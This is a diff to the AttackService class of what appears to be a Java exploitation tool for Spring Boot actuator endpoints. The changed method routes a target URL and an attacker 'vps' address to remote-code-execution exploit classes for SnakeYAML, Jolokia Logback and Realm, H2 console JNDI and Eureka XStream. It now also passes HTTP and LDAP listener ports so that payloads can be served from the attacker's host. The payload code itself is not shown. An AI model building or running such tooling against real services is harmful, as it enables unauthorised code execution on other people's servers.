@@ -36,59 +36,63 @@ public AttackService(String targetAddressText, String httpTimeoutText) {
36
36
// this.infoCheck = new SpringBootInfoCheck();
37
37
}
38
38
39
- public boolean gadgetSend (String target , String vps , String gadget , String echo ){
39
+ public boolean gadgetSend (String target , String vps , String gadget , String [] ports ){
40
40
SpringBootInfoCheck infoCheck = new SpringBootInfoCheck ();
41
41
boolean flag = VersionUtil .isVersion (target );
42
42
// boolean flag = true;
43
43
// String type = "inje"
44
44
String env = "/env" ;
45
45
String env2 = "/actuator/env" ;
46
+ String hport = ports [0 ];
47
+ String lport = ports [1 ];
46
48
System .out .println (target );
47
49
System .out .println (vps );
48
50
System .out .println (gadget );
49
- System .out .println (echo );
51
+ System .out .println ("hport" + hport );
52
+ System .out .println ("lport" + lport );
53
+ // System.out.println(echo);
50
54
51
55
try {
52
56
if (flag ){
53
57
if (gadget .equalsIgnoreCase ("SnakeYAMLRCE" )) {
54
58
SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP ();
55
- return exp .sendExp (target ,vps ,echo ,flag );
59
+ return exp .sendExp (target ,vps ,hport ,flag );
56
60
}else if (gadget .equalsIgnoreCase ("EurekaXstreamRCE" )){
57
61
EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC ();
58
62
exp .hasEurekaXstreamRCE (target );
59
63
return false ;
60
64
}else if (gadget .equalsIgnoreCase ("JolokiaLogbackRCE" )){
61
65
JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP ();
62
- return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,echo ,flag );
66
+ return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,hport ,flag );
63
67
64
68
}else if (gadget .equalsIgnoreCase ("JolokiaRealmRCE" )){
65
69
JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP ();
66
- return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,echo ,flag );
70
+ return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,hport ,flag );
67
71
}else if (gadget .equalsIgnoreCase ("H2DatabaseConsoleJNDIRCE" )){
68
72
H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP ();
69
- return exp .hasH2DatabaseConsoleJNDIRCE (target , vps );
73
+ return exp .hasH2DatabaseConsoleJNDIRCE (target , vps , lport );
70
74
}
71
75
72
76
}else {
73
77
if (gadget .equalsIgnoreCase ("SnakeYAMLRCE" )) {
74
78
SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP ();
75
- return exp .sendExp (target ,vps ,echo ,flag );
79
+ return exp .sendExp (target ,vps ,hport ,flag );
76
80
}else if (gadget .equalsIgnoreCase ("EurekaXstreamRCE" )){
77
81
EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC ();
78
82
exp .hasEurekaXstreamRCE (target );
79
83
return false ;
80
84
}else if (gadget .equalsIgnoreCase ("JolokiaLogbackRCE" )){
81
85
JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP ();
82
- return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,echo ,flag );
86
+ return jolokiaLogbackRCEEXP .hasJolokiaLogbackRCE (target ,vps ,hport ,flag );
83
87
84
88
}else if (gadget .equalsIgnoreCase ("JolokiaRealmRCE" )){
85
89
JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP ();
86
- return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,echo ,flag );
90
+ return jolokiaRealmRCEEXP .hasJolokiaRealmRCE (target ,vps ,hport ,flag );
87
91
88
92
89
93
}else if (gadget .equalsIgnoreCase ("H2DatabaseConsoleJNDIRCE" )){
90
94
H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP ();
91
- return exp .hasH2DatabaseConsoleJNDIRCE (target , vps );
95
+ return exp .hasH2DatabaseConsoleJNDIRCE (target , vps , lport );
92
96
93
97
}
94
98
}
0 commit comments